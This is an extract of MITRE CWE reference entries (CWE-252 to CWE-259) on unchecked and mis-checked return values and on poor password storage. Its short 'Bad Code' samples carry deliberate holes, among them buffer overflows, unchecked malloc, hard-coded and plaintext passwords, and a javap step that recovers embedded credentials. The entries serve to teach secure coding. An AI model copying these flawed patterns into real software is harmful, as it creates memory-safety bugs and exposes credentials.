Definition: A weakness where code path has:

1. end statement that passes the string item to a string function
2. start statement that malformed the string item

Where "malformed" is defined through the following scenarios:

1. changed to unexpected value
2. incorrect syntactical structure

## CWE-252: Unchecked Return Value

Weakness ID: 252 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

#### Extended Description

Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Availability

#### Integrity

#### Unexpected state

#### DoS: crash / exit / restart

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.

### Likelihood of Exploit

Low

### Demonstrative Examples

#### Example 1:

Consider the following code segment:

**C Example:**

Bad Code

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning `NULL`, but in this code, the warning will not be noticed. The lack of a null terminator in `buf` can result in a buffer overflow in the subsequent call to `strcpy()`.

**Example 2:**

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

**C Example:**

Bad Code

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If `returnChunkSize()` happens to encounter an error it will return `-1`. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so `-1` can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

**Example 3:**

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by `malloc()`.

**C Example:**

Bad Code

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.

It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.

The programmer has lost the opportunity to record diagnostic information. Did the call to `malloc()` fail because `req_size` was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

**Example 4:**

The following examples read a file into a byte array.

**C# Example:**

Bad Code

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext(); i.Current()) {
    String userName = (String) i.Current();
```

```
String pFileName = PFILE_ROOT + "/" + userName;
StreamReader sr = new StreamReader(pFileName);
sr.Read(byteArray,0,1024);//the file is always 1k bytes
sr.Close();
processPFile(userName, byteArray);
}
```

**Java Example:***Bad Code*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from `Read()`. If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

**Example 5:**

The following code does not check to see if the string returned by `getParameter()` is null before calling the member function `compareTo()`, potentially causing a NULL dereference.

**Java Example:***Bad Code*

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
    ...
}
...
```

The following code does not check to see if the string returned by the `item` property is null before calling the member function `Equals()`, potentially causing a NULL dereference. `string itemName = request.Item(ITEM_NAME);`

*Bad Code*

```
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

**Example 6:**

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

*Bad Code*

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

**Example 7:**

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

*Bad Code*

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

**Example 8:**

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

**Example 9:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:***Bad Code*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

**Example 10:**

The following function attempts to acquire a lock in order to perform operations on a shared resource.

**C Example:***Bad Code*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread\_mutex\_lock() for errors. If pthread\_mutex\_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Good Code

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

### Observed Examples

Reference	Description
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution.
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).

### Potential Mitigations

#### Implementation

##### High

Check the results of all functions that return a value and verify that the value is expected.

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

#### Implementation

Ensure that you account for all possible return values from the function.

#### Implementation

When designing a function, make sure you return a value or throw an exception in case of an error.

### Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

### Relationships

Nature	Type	ID	Name			Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')	<b>699</b> <b>700</b>		418
ChildOf		389	Error Conditions, Return Values, Status Codes	699		670
CanPrecede		476	NULL Pointer Dereference	1000	690	798
ChildOf		728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	<b>711</b>		1119
ChildOf		742	CERT C Secure Coding Section 08 - Memory Management (MEM)	<b>734</b>		1134
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	<b>1000</b>		1143
ChildOf		847	CERT Java Secure Coding Section 02 - Expressions (EXP)	<b>844</b>		1292
ChildOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	<b>868</b>		1314
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition	<b>888</b>		1376
PeerOf		273	Improper Check for Dropped Privileges	1000		485
StartsChain		690	Unchecked Return Value to NULL Pointer Dereference	709	690	1071
MemberOf		884	CWE Cross-section	<b>884</b>		1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unchecked Return Value
CLASP			Ignored function return value
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	MEM32-C		Detect and handle memory allocation errors
CERT Java Secure Coding	EXP00-J		Do not ignore values returned by methods
CERT C++ Secure Coding	MEM32-CPP		Detect and handle memory allocation errors
Software Fault Patterns	SFP4		Unchecked Status Condition

## References

- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Program Building Blocks" Page 341.. 1st Edition. Addison Wesley. 2006.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 20, "Checking Returns" Page 624. 2nd Edition. Microsoft. 2002.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
- CERT. "ERR10-CPP. Check for error conditions". < <https://www.securecoding.cert.org/confluence/display/cplusplus/ERR10-CPP.+Check+for+error+conditions> >.

# CWE-253: Incorrect Check of Function Return Value

**Weakness ID:** 253 (*Weakness Base*)**Status:** Incomplete

## Description

### Summary

The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.

### Extended Description

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Availability

### Integrity

### Unexpected state

### DoS: crash / exit / restart

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.

## Likelihood of Exploit

Low

## Demonstrative Examples

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

### C/C++ Example:

*Bad Code*

```
tmp = malloc(sizeof(int) * 4);
if (tmp < 0 ) {
    perror("Failure");
    //should have checked if the call returned 0
}
```



The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

### Potential Mitigations

#### Architecture and Design

##### Language Selection

Use a language or compiler that uses exceptions and requires the catching of those exceptions.

##### Implementation

Properly check all functions which return a value.

##### Implementation

When designing any function make sure you return a value or throw an exception in case of an error.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	G	227	Improper Fulfillment of API Contract ('API Abuse')	699	418
ChildOf	C	389	Error Conditions, Return Values, Status Codes	699	670
ChildOf	G	573	Improper Following of Specification by Caller	1000	910
ChildOf	G	754	Improper Check for Unusual or Exceptional Conditions	1000	1143
ChildOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1376
MemberOf	V	884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Misinterpreted function return value
Software Fault Patterns	SFP4	Unchecked Status Condition

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Return Value Testing and Interpretation", Page 340.. 1st Edition. Addison Wesley. 2006.

## CWE-254: Security Features

Category ID: 254 (Category) Status: Incomplete

### Description

#### Summary

Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	699	17
ParentOf	C	255	Credentials Management	699	453
ParentOf	V	256	Plaintext Storage of a Password	700	454
ParentOf	V	258	Empty Password in Configuration File	700	458
ParentOf	B	259	Use of Hard-coded Password	700	459
ParentOf	V	260	Password in Configuration File	699	463
ParentOf	V	261	Weak Cryptography for Passwords	700	464
ParentOf	C	264	Permissions, Privileges, and Access Controls	699	468
ParentOf	B	272	Least Privilege Violation	700	482
ParentOf	G	285	Improper Authorization	700	501
ParentOf	G	287	Improper Authentication	699	507
ParentOf	B	295	Improper Certificate Validation	699	521
ParentOf	C	310	Cryptographic Issues	699	547
ParentOf	G	330	Use of Insufficiently Random Values	699	581

Nature	Type	ID	Name	CVSS	Page
				700	
ParentOf	C	345	Insufficient Verification of Data Authenticity	699	600
ParentOf	C	355	User Interface Security Issues	699	619
ParentOf	B	358	Improperly Implemented Security Check for Standard	699	621
ParentOf	C	359	Exposure of Private Information ('Privacy Violation')	699	622
				700	
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	699	901
ParentOf	B	602	Client-Side Enforcement of Server-Side Security	699	947
ParentOf	B	653	Insufficient Compartmentalization	699	1011
ParentOf	B	654	Reliance on a Single Factor in a Security Decision	699	1012
ParentOf	B	655	Insufficient Psychological Acceptability	699	1014
ParentOf	B	656	Reliance on Security Through Obscurity	699	1015
ParentOf	C	693	Protection Mechanism Failure	699	1074
MemberOf	V	700	Seven Pernicious Kingdoms	700	1081
ParentOf	B	778	Insufficient Logging	699	1193
ParentOf	B	779	Logging of Excessive Data	699	1194
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	699	1202
ParentOf	B	798	Use of Hard-coded Credentials	700	1219
ParentOf	B	807	Reliance on Untrusted Inputs in a Security Decision	699	1239

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Security Features

## CWE-255: Credentials Management

Category ID: 255 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are related to the management of credentials.

### Applicable Platforms

#### Languages

- All

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

#### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

#### Manual Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Cost effective for partial coverage:

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	254	Security Features	699	452
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ParentOf	V	261	<i>Weak Cryptography for Passwords</i>	699	464
ParentOf	V	262	<i>Not Using Password Aging</i>	699	466
ParentOf	B	263	<i>Password Aging with Long Expiration</i>	699	467
ParentOf	B	521	<i>Weak Password Requirements</i>	699	861
ParentOf	B	522	<i>Insufficiently Protected Credentials</i>	699	862
ParentOf	V	549	<i>Missing Password Field Masking</i>	699	887
ParentOf	V	620	<i>Unverified Password Change</i>	699	967
MemberOf	V	635	<i>Weaknesses Used by NVD</i>	635	983
ParentOf	B	640	<i>Weak Password Recovery Mechanism for Forgotten Password</i>	699	989
ParentOf	B	798	<i>Use of Hard-coded Credentials</i>	699	1219

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

**CWE-256: Plaintext Storage of a Password**Weakness ID: 256 (*Weakness Variant*)

Status: Incomplete

**Description****Summary**

Storing a password in plaintext may result in a system compromise.

**Extended Description**

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- All

**Modes of Introduction**

Developers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this attitude makes an attacker's job easier.

## Common Consequences

### Access Control

Gain privileges / assume identity

### Likelihood of Exploit

Very High

## Demonstrative Examples

### Example 1:

The following code reads a password from a properties file and uses the password to connect to a database.

#### Java Example:

*Bad Code*

```
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");
DriverManager.getConnection(url, usr, password);
...
```

This code will run successfully, but anyone who has access to config.properties can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### Example 2:

The following code reads a password from the registry and uses the password to create a new network credential.

#### Java Example:

*Bad Code*

```
...
String password = regKey.GetValue(passKey).toString();
NetworkCredential netCred = new NetworkCredential(username,password,domain);
...
```

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

### Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

#### Java Example:

*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

#### ASP.NET Example:

*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

## Potential Mitigations

**Architecture and Design**

Avoid storing passwords in easily accessible locations.

**Architecture and Design**

Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.

**None**

A programmer might attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password because the encoding can be detected and decoded easily.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	700	452
ChildOf	B	522	Insufficiently Protected Credentials	699	862
ChildOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	1000	928
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1358
					1377

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Password Management
Software Fault Patterns	SFP23	Exposed Data

**References**

[REF-9] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.

**CWE-257: Storing Passwords in a Recoverable Format**

Weakness ID: 257 (Weakness Base)

Status: Incomplete

**Description****Summary**

The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- All

**Common Consequences****Confidentiality****Access Control****Gain privileges / assume identity**

User's passwords may be revealed.

**Access Control****Gain privileges / assume identity**

Revealed passwords may be reused elsewhere to impersonate the users in question.

**Likelihood of Exploit**

Very High

## Demonstrative Examples

### Example 1:

Both of these examples verify a password by comparing it to a stored compressed version.

#### C/C++ Example:

*Bad Code*

```
int VerifyAdmin(char *password) {
    if (strcmp(compress(password), compressed_password)) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

#### Java Example:

*Bad Code*

```
int VerifyAdmin(String password) {
    if (passwd.Equals(compress(password), compressed_password)) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Because a compression algorithm is used instead of a one way hashing algorithm, an attacker can recover compressed passwords stored in the database.

### Example 2:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

#### Java Example:

*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

#### ASP.NET Example:

*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

## Potential Mitigations

### Architecture and Design

Use strong, non-reversible encryption to protect stored passwords.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf	<b>B</b>	259	Use of Hard-coded Password		1000 459
ChildOf	<b>B</b>	522	Insufficiently Protected Credentials		<b>699</b> 862

Nature	Type	ID	Name	V	Page
				<b>1000</b>	
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
PeerOf	<b>B</b>	798	<i>Use of Hard-coded Credentials</i>	1000	1219

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Storing passwords in a recoverable format
Software Fault Patterns	SFP23	Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
49	Password Brute Forcing	

### Maintenance Notes

The meaning of this node needs to be investigated more closely, especially with respect to what is meant by "recoverable."

## CWE-258: Empty Password in Configuration File

Weakness ID: 258 (Weakness Variant)

Status: Incomplete

### Description

#### Summary

Using an empty string as a password is insecure.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

Gain privileges / assume identity

#### Likelihood of Exploit

Very High

#### Demonstrative Examples

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

##### Java Example:

Bad Code

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.

##### ASP.NET Example:

Bad Code

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;"
providerName="System.Data.Odbc" />
```



```
</connectionStrings>
...
```

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

### Potential Mitigations

#### System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.

#### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

#### Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		254	Security Features	700	452
ChildOf		260	Password in Configuration File	699	463
				<b>1000</b>	
ChildOf		521	Weak Password Requirements	1000	861
ChildOf		950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1372

#### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Password Management: Empty Password in Configuration File

#### References

[REF-9] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.

## CWE-259: Use of Hard-coded Password

Weakness ID: 259 (Weakness Base)

Status: Draft

### Description

#### Summary

The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

#### Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks for a hard-coded password.

Outbound: the software connects to another system or component, and it contains hard-coded password for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the

software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

### Time of Introduction

- Implementation
- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Access Control

#### Gain privileges / assume identity

If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.

### Likelihood of Exploit

Very High

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

#### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as `truss` (Solaris) and `strace` (Linux); system activity monitors such as `FileMon`, `RegMon`, `Process Monitor`, and other `Sysinternals` utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

### Demonstrative Examples

#### Example 1:

The following code uses a hard-coded password to connect to a database:

#### Java Example:

*Bad Code*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the

values of the passwords used. The result of this operation might look something like the following for the example above:

Attack

```
javap -c ConnMgr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger
```

### Example 2:

The following code is an example of an internal hard-coded password in the back-end:

#### C/C++ Example:

Bad Code

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!")) {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

#### Java Example:

Bad Code

```
int VerifyAdmin(String password) {
    if (passwd.Equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

### Example 3:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

#### Java Example:

Bad Code

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

#### ASP.NET Example:

Bad Code

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

### Potential Mitigations

**Architecture and Design**

For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

**Architecture and Design**

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

**Architecture and Design**

